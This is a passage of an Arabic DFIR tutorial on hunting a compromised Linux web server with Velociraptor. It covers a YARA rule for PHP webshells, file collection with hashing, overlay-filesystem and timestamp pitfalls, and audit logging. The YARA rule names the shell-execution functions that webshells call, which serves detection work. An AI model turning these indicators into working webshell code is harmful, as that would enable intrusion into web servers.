YARA لغة لوصف ملف بالنصوص أو البايتات التي فيه، وكتبنا قاعدة بسيطة تبحث عن ملف PHP يقرأ قيمة من الطلب ويمررها لدالة تنفذ أوامر النظام:

```text
rule PHP_Webshell_Exec {
  meta:
    description = "PHP file that runs a request parameter as a shell command"
  strings:
    $req  = /\$_(REQUEST|GET|POST)\[/
    $exec = /(shell_exec|system|passthru|popen)\s*\(/
  condition:
    filesize < 200KB and $req and $exec
}
```

ثم شغلناها بـ [Linux.Detection.Yara.Glob](https://docs.velociraptor.app/artifact%5Freferences/pages/linux.detection.yara.glob/?ref=arabroot.io) على كل ما تحت `/var/www` في السيرفرات الثلاثة، فظهر ملف واحد من بين ملفات PHP، والصورة التالية تبين النتيجة في دفتر الـ Hunt Notebook:

![دفتر نتائج Hunt في Velociraptor يعرض الملف avatar.php مع أوقاته واسم قاعدة YARA](https://arabroot.io/content/images/2026/10/velociraptor-lab-04-hunt-notebook.webp)

ملف واحد طابق القاعدة، والملفان index.php على web01 وweb02 لم يطابقاها

وقد يتساءل البعض: لماذا لا نكتب قاعدة تبحث عن `shell_exec` وحدها؟ والإجابة أن تطبيقات PHP الحقيقية مثل أنظمة إدارة المحتوى تستخدم هذه الدوال في أماكن مشروعة، فالقاعدة التي تبحث عن كلمة واحدة سوف تعطيك مئات النتائج الخاطئة False Positives على سيرفر WordPress واحد. والقاعدة الأفضل تجمع شرطين أو أكثر، والأفضل منها أن تبدأ من قواعد منشورة ومجربة ثم تعدلها لبيئتك.

## ماذا وجدنا وما الذي فاتنا؟

الصورة التالية تجمع النتائج كلها، الآثار الستة التي ظهرت على `web01` وحده، والنتيجتين الفارغتين اللتين كانتا بسبب الإعدادات الافتراضية:

![ست بطاقات لآثار الاختراق التي وجدتها عمليات البحث على web01، وبطاقتان لنتائج فارغة بسبب الإعدادات الافتراضية](https://arabroot.io/content/images/2026/10/velociraptor-lab-02-findings.webp)

كل أثر مع الـ Artifact الذي وجده، والنتائج الفارغة مع المعامل الذي أصلحها

والنتيجة الفارغة الثانية ظهرت عندما أردنا جمع الملف نفسه، وهي في الفقرة التالية.

## جمع الملف المشبوه دون أن تلمس السيرفر بيدك

بعد أن عرفنا أن `web01` هو السيرفر المخترق، أردنا نسخة من البرنامج المشبوه للتحليل، فأرسلنا جمعاً Collection لهذا العميل وحده بالدالة [collect\_client()](https://docs.velociraptor.app/vql%5Freference/server/collect%5Fclient/?ref=arabroot.io) و[Linux.Search.FileFinder](https://docs.velociraptor.app/artifact%5Freferences/pages/linux.search.filefinder/?ref=arabroot.io) مع رفع الملف وحساب الهاش:

```sql
SELECT collect_client(client_id="C.b4e7b9f54df00639", artifacts="Linux.Search.FileFinder",
  spec=dict(`Linux.Search.FileFinder`=dict(SearchFilesGlob="/var/tmp/.cache/*",
            Upload_File="Y", Calculate_Hash="Y"))).flow_id AS Flow
FROM scope()
```

فانتهى الجمع بحالة FINISHED وصفر صفوف، رغم أن الملف موجود ويعمل. والسبب في متن الـ Artifact نفسه، فالمعامل `LocalFilesystemOnly` قيمته الافتراضية Y، ومعناه ألا يدخل البحث إلا الأقراص المحلية، ويعرفها بأرقام الأجهزة Device Major Numbers للأقراص الحقيقية مثل sd وnvme وdm. ونظام الملفات overlay الذي تعمل عليه Containers ليس قرصاً حقيقياً، ورقم جهازه 0، فيتجاهله البحث بالكامل. فأعدنا الجمع بالمعامل `LocalFilesystemOnly="N"`:

```text
+-----------------+----------+------+-------+-------+
|   session_id    |  state   | Rows | Files | Bytes |
+-----------------+----------+------+-------+-------+
| F.DBF5CTCM4PO6Q | FINISHED |    0 |     0 |     0 |
| F.DBF5CUS7TEP66 | FINISHED |    1 |     1 | 43432 |
+-----------------+----------+------+-------+-------+
```

وعلى سيرفر حقيقي يعمل على قرص عادي لن تواجه هذه المشكلة غالباً، ولكن إذا كان التطبيق يعمل في Container فالملفات التي كتبها المخترق داخله موجودة على overlay، وهذا يجعل المعامل مهماً في بيئات Docker وKubernetes.

بعد ذلك طلبنا من السيرفر أن يجهز نتيجة الجمع في ملف ZIP، وحسبنا الهاش للملف، وهذا ما يدخل في سلسلة الحيازة Chain of Custody التي شرحناها في دليل [التحقيق الرقمي للمبتدئين](https://arabroot.io/articles/%D8%A7%D9%84%D8%AA%D8%AD%D9%82%D9%8A%D9%82-%D8%A7%D9%84%D8%B1%D9%82%D9%85%D9%8A-%D9%84%D9%84%D9%85%D8%A8%D8%AA%D8%AF%D8%A6%D9%8A%D9%86-dfir/):

```bash
velociraptor --api_config api.config.yaml query \
  'SELECT create_flow_download(client_id="C.b4e7b9f54df00639", flow_id="F.DBF5CUS7TEP66", wait=TRUE) AS Zip FROM scope()'
sha256sum /vr/datastore/downloads/C.b4e7b9f54df00639/F.DBF5CUS7TEP66/*.zip
unzip -l /vr/datastore/downloads/C.b4e7b9f54df00639/F.DBF5CUS7TEP66/*.zip
```

```text
0c13be57dba3edb07b0717515c2fdc113c8a1d8c51b045901aa3f25aa8500662  web01-C.b4e7b9f54df00639-F.DBF5CUS7TEP66.zip
  Length      Date    Time    Name
---------  ---------- -----   ----
      605  2026-10-25 19:20   client_info.json
     1359  2026-10-25 19:20   collection_context.json
     6115  2026-10-25 19:20   requests.json
      657  1980-00-00 00:00   log.json
      702  1980-00-00 00:00   results/Linux.Search.FileFinder.json
    43432  2026-10-25 19:20   uploads/file/var/tmp/%2Ecache/kworkerd
        8  1980-00-00 00:00   uploads.json.index
      304  1980-00-00 00:00   uploads.json
---------                     -------
    53182                     8 files
```

في الملف المضغوط لاحظ التالي:

- الملف المرفوع موجود بمساره الأصلي، والنقطة في اسم المجلد `.cache` مكتوبة `%2E` حتى لا يصبح المجلد مخفياً عند فك الضغط.
- `requests.json` فيه الاستعلام الذي نفذ بالضبط، و`log.json` فيه سجل العميل أثناء الجمع، وهذا يجيب على سؤال «ما الذي فعلته أداتك على الجهاز؟» إذا سألك أحد لاحقاً.
- الحجم 43432 بايت هو حجم `sleep` نفسه، والهاش في النتائج مطابق لما رأيناه في قائمة البرامج.

## أثر البحث نفسه على الأدلة

كل أداة تعمل على جهاز حي تغير فيه شيئاً، وVelociraptor ليس استثناء. وقد قسنا هذا على ملف الـ Web Shell، فقرأنا وقت آخر وصول Access Time للملف قبل عملية البحث بـ YARA وبعدها بالأمر `stat`:

```text
/var/www/html/uploads/avatar.php atime=2026-10-25 19:17:52.342822887 +0000
/var/www/html/uploads/avatar.php atime=2026-10-25 19:18:57.874563874 +0000
```

تغير الوقت من 19:17:52 إلى 19:18:57، وهي اللحظة التي قرأت فيها قاعدة YARA الملف. وVelociraptor سجل في نتيجته الوقت القديم 19:17:52 لأنه قرأ بيانات الملف قبل أن يفتحه، ولكن الملف على القرص يحمل الآن وقت الفحص. والسبب أن Linux يحدث وقت الوصول عند القراءة حسب خيار التركيب `relatime`، كما يشرح [دليل mount](https://man7.org/linux/man-pages/man8/mount.8.html?ref=arabroot.io)، فإذا أخذت بعد ذلك نسخة جنائية من القرص وبنيت منها خطاً زمنياً فسوف ترى قراءة لكل ملف فحصته في وقت الفحص.

وهذا لا يعني ألا تفحص، وإنما أن تكتب في ملاحظات القضية متى بدأت كل عملية بحث وعلى أي مسارات، وأن تجمع الأوقات والبيانات الوصفية Metadata قبل أن تفحص المحتوى إذا كان الوقت مهماً للقضية. وVelociraptor نفسه يسجل كل عملية في سجل التدقيق Audit Log على السيرفر، وهذا سطر من سجلنا:

```text
{"details":{"hunt_id":"H.DBF5C5PG6MKF6","details":{"Description":"IR-2026-014 processes","Tags":[],"Artifacts":["Linux.Sys.Pslist"],"Expires":1793042327,...},"orgs":["root"]},"level":"info","msg":"CreateHunt","operation":"CreateHunt","principal":"automation","time":"2026-10-25T19:18:47Z"}
```

فيه من أنشأ العملية والوقت والـ Artifact، وهو ما تحتاجه لتعرف أي تغيير على الأجهزة جاء منك وليس من المخترق. وقد شرحنا فكرة سجل التدقيق بالتفصيل في دليل [سجل التدقيق Audit Trail](https://arabroot.io/articles/%D8%B3%D8%AC%D9%84-%D8%A7%D9%84%D8%AA%D8%AF%D9%82%D9%8A%D9%82-audit-trail-%D9%85%D9%86-%D9%81%D8%B9%D9%84-%D9%85%D8%A7%D8%B0%D8%A7-%D9%88%D9%85%D8%AA%D9%89/).

## الموارد والرخصة والبديل التجاري

قسنا الموارد في المختبر بعد انتهاء عمليات البحث السبع، وكانت كما يلي:

| البند                                       | القيمة في المختبر |
| ------------------------------------------- | ----------------- |
| ذاكرة Container السيرفر (RAM)               | 189 MiB           |
| ذاكرة Container كل عميل مع العميل           | 64 إلى 72 MiB     |
| حجم الـ Datastore بعد 7 عمليات بحث وجمع ملف | 2.3 MB            |
| حجم الملف التنفيذي                          | 75 MiB            |
| زمن إنهاء الـ Hunts السبع على 3 عملاء       | أقل من 20 ثانية   |

وثلاثة عملاء لا يقولون شيئاً عن ألف، لذلك خذ رقم الفريق نفسه من [صفحة الموارد في التوثيق](https://docs.velociraptor.app/docs/deployment/resources/?ref=arabroot.io): يذكرون أنهم يشغلون عادة سيرفراً بمعالجين و8 GB من الذاكرة لما يصل إلى عشرة آلاف جهاز، وأن نشراً لنحو 2500 جهاز في حالة الخمول يستخدم أقل من 400 MB من الذاكرة. والذي يكبر فعلاً هو القرص، لأن كل ملف تجمعه من الأجهزة يحفظ في الـ Datastore، فخطط له حسب ما سوف تجمع وليس حسب عدد الأجهزة.

أما الرخصة فهي AGPL-3.0، وهذا يعني أن لك أن تشغله وتعدله داخل مؤسستك بلا قيود، والشرط يأتي فقط إذا عدلت الكود وقدمته خدمة لغيرك عبر الشبكة، فعليك عندها أن تنشر تعديلاتك. والمشروع تملكه Rapid7 منذ 2021 ويطوره فريق Velocidex على GitHub، وآخر إصدار في 5 أكتوبر 2026\. والواجهة متوفرة بالإنجليزية والألمانية والإسبانية والفرنسية واليابانية والبرتغالية والفيتنامية، ولا توجد ترجمة عربية لها، وهذا لا يؤثر على العمل لأن البيانات نفسها تعرض كما هي، ومنها أسماء الملفات العربية.

والبديل التجاري الأقرب هو أدوات EDR التي فيها استجابة حية Live Response على كل الأجهزة. ومن الأمثلة التي تنشر أسعارها CrowdStrike، ففي [صفحة الأسعار](https://www.crowdstrike.com/en-us/pricing/?ref=arabroot.io) بتاريخ 25 أكتوبر 2026 الباقة Falcon Enterprise التي تتضمن EDR بسعر 184.99 دولاراً لكل جهاز في السنة عند الدفع السنوي، أي نحو 55,500 دولار في السنة لثلاثمئة جهاز. وهذه الأدوات تعطيك أشياء لا يعطيك إياها Velociraptor وحده، مثل المنع Prevention والاكتشاف المستمر وفريق يراقب على مدار الساعة، ولكن إذا كان ما تحتاجه هو أن تسأل كل أجهزتك سؤالاً واحداً أثناء حادثة فـ Velociraptor يفعل ذلك بلا تكلفة رخصة، والتكلفة الحقيقية هي وقت الفريق الذي يتعلم VQL ويدير السيرفر.

## قبل أن تنقله إلى الإنتاج

- **ثبت العملاء قبل الحادثة:** قيمة Velociraptor أن يكون العميل موجوداً على كل جهاز يوم تحتاجه، فإذا بدأت التثبيت أثناء الحادثة فقد يكون المخترق قد مسح ما تبحث عنه. وإذا لم يكن مثبتاً فاستخدم الجامع دون سيرفر Offline Collector الذي ذكرناه في دليل الأدوات.
- **اربط الدخول بمزود الهوية:** عبر OIDC مع MFA، وأعط المحللين أدواراً Roles أقل من administrator، فالتوثيق يفرق بين من يقرأ النتائج ومن ينشئ Hunts ومن يشغل أوامر على الأجهزة.
- **حدد معدل التنفيذ:** عند إنشاء الـ Hunt يمكنك تحديد العمليات في الثانية Ops/Sec ونسبة المعالج CPU Limit، وعلى سيرفرات إنتاج تحت حمل حدد هذه القيم قبل أن تشغل YARA على كل القرص.
- **جرب كل Artifact على جهاز تعرف نتيجته:** كما رأينا في مفاتيح SSH وFileFinder، فالنتيجة الفارغة الخاطئة أخطر من الخطأ الظاهر.
- **حدث السيرفر والعملاء:** الإصدار 0.77.3 نفسه صدر لإصلاح ثغرات منشورة في [صفحة النشرات الأمنية](https://docs.velociraptor.app/announcements/advisories/?ref=arabroot.io)، والعميل يعمل بصلاحية root على كل جهاز، فتأخير تحديثه مخاطرة على كل الأجهزة معاً.

## مشكلات شائعة وحلولها

- **العملاء لا يظهرون في الواجهة:** افتح ملف العميل وتأكد أن `server_urls` ليس `localhost`، ثم تأكد أن الجهاز يصل إلى المنفذ 8000 على السيرفر، وأن الاسم في العنوان هو نفسه `Frontend.hostname` لأن الشهادة صادرة له.
- **كلمة المرور الجديدة لا تعمل:** إذا أضفت المستخدم بالأمر `user add` والسيرفر يعمل فأعد تشغيل السيرفر، أو أضفه من الواجهة.
- **الـ Hunt انتهى بصفر صفوف:** اقرأ معاملات الـ Artifact ومساراتها، وراجع نوع القيمة في الشرط، وجرب الاستعلام على عميل واحد بـ collect\_client قبل أن تعممه.
- **FileFinder لا يجد شيئاً داخل Container:** أعطه `LocalFilesystemOnly="N"`.
- **جهازان بالرقم نفسه:** نسختهما من قالب فيه ملف Writeback، فاحذف الملف من أحدهما وأعد تشغيل العميل حتى يأخذ رقماً جديداً.

## الخلاصة

وصلنا لنهاية الموضوع، وأهم ما ظهر في المختبر:

- سيرفر Velociraptor بإعداد حقيقي يحتاج ثلاثة أوامر: `config generate` و`user add` و`frontend`، وعلى كل جهاز الملف التنفيذي وملف العميل فقط.
- سبع عمليات بحث على ثلاثة سيرفرات انتهت في أقل من عشرين ثانية، ووجدت آثار الاختراق الستة على `web01` وحده.
- التجميع Stacking يجعل الغريب يظهر دون أن تعرف ما تبحث عنه، وهاش البرنامج المشبوه كان مطابقاً لبرنامج نظام سليم، فلا تعتمد على الهاش وحده.
- ثلاث نتائج فارغة كانت خاطئة: مسار مفاتيح SSH الافتراضي لا يشمل `/root`، وFileFinder يتجاهل overlay افتراضياً، وشرط برقم على قيمة نصية.
- الفحص نفسه غير وقت الوصول للملف المفحوص، فسجل وقت كل عملية بحث في ملاحظات القضية، واحتفظ بسجل التدقيق من السيرفر.

في المقال القادم بإذن الله سوف ننتقل من القرص إلى الذاكرة، فنحلل نسخة ذاكرة حقيقية بـ Volatility 3 ونبحث فيها عن البرامج والاتصالات التي لا تترك أثراً على القرص.

[![](https://arabroot.io/content/images/2026/10/dfir-basics-cover-cover.webp)دليلالتحقيق الرقمي DFIR للمبتدئين: احفظ الأدلة قبل أن تنظف السيرفرماذا تفعل عندما تشك أن سيرفرك مخترق، ولماذا تمسح إعادة التشغيل والتنظيف الأدلة التي تحتاجها لتعرف ما حدث.](https://arabroot.io/articles/%D8%A7%D9%84%D8%AA%D8%AD%D9%82%D9%8A%D9%82-%D8%A7%D9%84%D8%B1%D9%82%D9%85%D9%8A-%D9%84%D9%84%D9%85%D8%A8%D8%AA%D8%AF%D8%A6%D9%8A%D9%86-dfir/)[![](https://arabroot.io/content/images/2026/10/forensics-tools-cover-cover.webp)دليلأدوات التحقيق الرقمي مفتوحة المصدر وكيف تستخدمهاالأدوات المفتوحة التي تحتاجها في كل مرحلة من التحقيق الرقمي، من نسخ القرص واسترجاع ملف محذوف إلى بناء خط زمني لما حدث.](https://arabroot.io/articles/%D8%A7%D8%AF%D9%88%D8%A7%D8%AA-%D8%A7%D9%84%D8%AA%D8%AD%D9%82%D9%8A%D9%82-%D8%A7%D9%84%D8%B1%D9%82%D9%85%D9%8A-%D9%85%D9%81%D8%AA%D9%88%D8%AD%D8%A9-%D8%A7%D9%84%D9%85%D8%B5%D8%AF%D8%B1/)[![](https://arabroot.io/content/images/2026/10/volatility-lab-cover-cover.webp)دليلتحليل ذاكرة الجهاز Memory Forensics مع Volatility 3حللنا نسختي ذاكرة رسميتين من سيرفر Debian وجهاز Windows 10، فاستخرجنا البرامج والاتصالات وأوامر Bash، ورأينا أين تخطئ malfind.](https://arabroot.io/articles/%D8%AA%D8%AD%D9%84%D9%8A%D9%84-%D8%B0%D8%A7%D9%83%D8%B1%D8%A9-%D8%A7%D9%84%D8%AC%D9%87%D8%A7%D8%B2-memory-forensics-%D9%85%D8%B9-volatility-3/)[![](https://arabroot.io/content/images/2026/10/compromised-linux-cover-cover.webp)دليلفحص سيرفر Linux مخترق دون أن تفسد الأدلةفحصنا سيرفراً مخترقاً في المختبر خطوة خطوة بالطريقة الصحيحة، فوجدنا برنامجاً من ملف محذوف وأمر ls مزروعاً ووقتاً مزوراً، دون أن نفسد دليلاً.](https://arabroot.io/articles/%D9%81%D8%AD%D8%B5-%D8%B3%D9%8A%D8%B1%D9%81%D8%B1-linux-%D9%85%D8%AE%D8%AA%D8%B1%D9%82-%D8%AF%D9%88%D9%86-%D8%A7%D9%86-%D8%AA%D9%81%D8%B3%D8%AF-%D8%A7%D9%84%D8%A7%D8%AF%D9%84%D8%A9/)[![](https://arabroot.io/content/images/2026/10/iam-pam-cover-cover.webp)دليلإدارة الهوية والوصول IAM والوصول المميز PAMمن يملك صلاحية root على سيرفراتك ومنذ متى، وكيف تضبط حسابات المديرين بصلاحيات مؤقتة وجلسات مسجلة.](https://arabroot.io/articles/%D8%A7%D8%AF%D8%A7%D8%B1%D8%A9-%D8%A7%D9%84%D9%87%D9%88%D9%8A%D8%A9-%D9%88%D8%A7%D9%84%D9%88%D8%B5%D9%88%D9%84-iam-%D9%88%D8%A7%D9%84%D9%88%D8%B5%D9%88%D9%84-%D8%A7%D9%84%D9%85%D9%85%D9%8A%D8%B2-pam/)

## تدريب عملي Practice

- شغل `Linux.Sys.Services` على سيرفراتك، ثم جمع النتائج حسب اسم الخدمة ومسار ملفها، وابحث عن خدمة تظهر على سيرفر واحد فقط.
- اكتب Hunt يبحث عن أي ملف تنفيذي تحت `/tmp` و`/var/tmp` و`/dev/shm` تغير في آخر سبعة أيام، باستخدام المعامل `MoreRecentThan` في `Linux.Search.FileFinder`.

## سجل التحديثات

- أكتوبر 2026: كتابة الدليل وتنفيذ المختبر يوم 25 أكتوبر 2026 على Velociraptor 0.77.3 بسيرفر وثلاثة عملاء Debian 13.7.